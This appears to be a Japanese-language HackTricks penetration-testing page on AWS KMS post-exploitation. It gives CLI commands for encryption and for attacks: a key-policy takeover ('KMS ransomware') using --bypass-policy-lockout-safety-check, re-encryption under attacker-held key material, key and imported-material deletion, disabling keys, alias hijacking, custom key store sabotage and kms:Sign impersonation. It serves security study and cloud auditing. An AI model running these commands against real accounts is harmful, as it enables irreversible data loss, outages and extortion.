# AWS - KMS Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## KMS For more information check: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} ### 暗号化/復号化情報 `fileb://` と `file://` は、ローカルファイルへのパスを指定するために AWS CLI コマンドで使用される URI スキームです: - `fileb://:` はファイルをバイナリモードで読み込み、非テキストファイルに一般的に使用されます。 - `file://:` はファイルをテキストモードで読み込み、プレーンテキスト、スクリプト、または特別なエンコーディングを必要としない JSON に通常使用されます。 > [!TIP] > 注意: ファイル内のデータを復号したい場合、ファイルには base64 エンコードされたデータではなくバイナリデータが含まれている必要があります。(fileb://) - **対称鍵** を使用する場合 ```bash # Encrypt data aws kms encrypt \ --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ --plaintext fileb:///tmp/hello.txt \ --output text \ --query CiphertextBlob | base64 \ --decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ --ciphertext-blob fileb://ExampleEncryptedFile \ --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ --output text \ --query Plaintext | base64 \ --decode ``` - **非対称**鍵を使用する: ```bash # Encrypt data aws kms encrypt \ --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ --encryption-algorithm RSAES_OAEP_SHA_256 \ --plaintext fileb:///tmp/hello.txt \ --output text \ --query CiphertextBlob | base64 \ --decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ --ciphertext-blob fileb://ExampleEncryptedFile \ --encryption-algorithm RSAES_OAEP_SHA_256 \ --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ --output text \ --query Plaintext | base64 \ --decode ``` ### KMS Ransomware KMS に対する特権的アクセスを持つ attacker は、キーの KMS policy を変更し、**自分のアカウントに対するアクセスを付与することで**、legit account に付与されていたアクセスを削除できます。 その結果、legit account のユーザーは、これらのキーで暗号化された任意のサービスの情報にアクセスできなくなり、アカウント上で簡単かつ効果的な ransomware を作り出します。 > [!WARNING] > 注意: **AWS managed keys aren't affected**。影響を受けるのは **Customer managed keys** のみです。 > また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要がある点にも注意してください(web console にこのオプションがないため、この攻撃は CLI からのみ実行可能になります)。 ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ --policy-name default \ --policy file:///tmp/policy.yaml \ --bypass-policy-lockout-safety-check { "Id": "key-consolepolicy-3", "Version": "2012-10-17", "Statement": [ { "Sid": "Enable IAM User Permissions", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam:::root" }, "Action": "kms:*", "Resource": "*" } ] } ``` > [!CAUTION] > ポリシーを変更して外部アカウントのみにアクセスを与え、その外部アカウントから新しいポリシーを設定して**元のアカウントにアクセスを戻そうとしても、Put Polocy action cannot be performed from a cross account**ため、アクセスを戻すことはできない点に注意してください。
### Generic KMS Ransomware グローバルな KMS Ransomware を実行する別の方法として、以下の手順が考えられます: - 攻撃者がインポートした **key with a key material** を持つ新しいキーを作成する - 被害者が以前のバージョンで暗号化した古いデータを新しいキーで **Re-encrypt older data** する - **Delete the KMS key** - そうすると、元の **key material** を持つ攻撃者だけが暗号化データを復号できるようになる ### Delete Keys via kms:DeleteImportedKeyMaterial `kms:DeleteImportedKeyMaterial` 権限があれば、アクターは `Origin=EXTERNAL` を持つ CMKs(キー素材をインポートしている CMKs)からインポートされた key material を削除でき、それらはデータを復号できなくなります。この操作は破壊的かつ不可逆であり、互換性のある素材が再インポートされない限り元に戻せません。そのため、攻撃者は暗号化された情報を恒久的にアクセス不能にし、ransomware-like なデータ損失を実質的に引き起こすことが可能です。 ```bash aws kms delete-imported-key-material --key-id ``` ### Destroy keys keys を破壊することで DoS を実行できる。 ```bash # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ --pending-window-in-days 7 ``` > [!CAUTION] > 注意: AWS は現在 **これらの操作がクロスアカウントから実行されることを防いでいます:** ### Alias を変更または削除 この攻撃は AWS KMS の aliases を削除またはリダイレクトし、キーの解決を破壊してそれらの aliases に依存するサービスで即時の障害を引き起こし、結果として denial-of-service を招きます。`kms:DeleteAlias` や `kms:UpdateAlias` のような権限があれば、攻撃者は aliases を削除または再指向して暗号操作(例: encrypt, describe)を妨害できます。key ID の代わりに alias を参照しているサービスは、alias が復元されるか正しく再マップされるまで失敗する可能性があります。 ```bash # Delete Alias aws kms delete-alias --alias-name alias/ # Update Alias aws kms update-alias \ --alias-name alias/ \ --target-key-id ``` ### Cancel Key Deletion `kms:CancelKeyDeletion` と `kms:EnableKey` のような権限があれば、攻撃者は AWS KMS customer master key の予定された削除を取り消し、後で再度有効化できます。こうすることで鍵が回復(最初は Disabled state)し、以前に保護されていたデータを復号する能力が復元され、exfiltration を可能にします。 ```bash # Firts cancel de deletion aws kms cancel-key-deletion \ --key-id ## Second enable the key aws kms enable-key \ --key-id ``` ### Disable Key `kms:DisableKey` 権限を持つアクターは、AWS KMS の customer master key を無効化でき、暗号化や復号に使用できなくします。これによりその CMK に依存するサービスのアクセスが途絶し、キーが再度有効化されるまで即時の障害や denial-of-service を引き起こす可能性があります。 ```bash aws kms disable-key \ --key-id ``` ### 共有シークレットの導出 `kms:DeriveSharedSecret` 権限があれば、主体は KMSで保持されている秘密鍵とユーザー提供の公開鍵を用いて ECDH の共有シークレットを計算できます。 ```bash aws kms derive-shared-secret \ --key-id \ --public-key fileb:/// \ --key-agreement-algorithm ``` ### Impersonation via kms:Sign `kms:Sign` 権限があると、攻撃者は KMS に保存された CMK を使って秘密鍵を露出することなくデータに暗号学的な署名を行え、正当な署名を生成してなりすましや不正な操作の承認に利用することができます。 ```bash aws kms sign \ --key-id \ --message fileb:// \ --signing-algorithm \ --message-type RAW ``` ### DoS with Custom Key Stores `kms:DeleteCustomKeyStore`、`kms:DisconnectCustomKeyStore`、`kms:UpdateCustomKeyStore` のような権限があれば、攻撃者は AWS KMS Custom Key Store (CKS) を変更、切断、または削除でき、そのマスターキーを使用不能にできます。これにより、これらのキーに依存するサービスの暗号化、復号、署名操作が停止し、即時のサービス拒否を引き起こす可能性があります。したがって、これらの権限を制限し監視することが重要です。 ```bash aws kms delete-custom-key-store --custom-key-store-id aws kms disconnect-custom-key-store --custom-key-store-id aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password ```
{{#include ../../../banners/hacktricks-training.md}}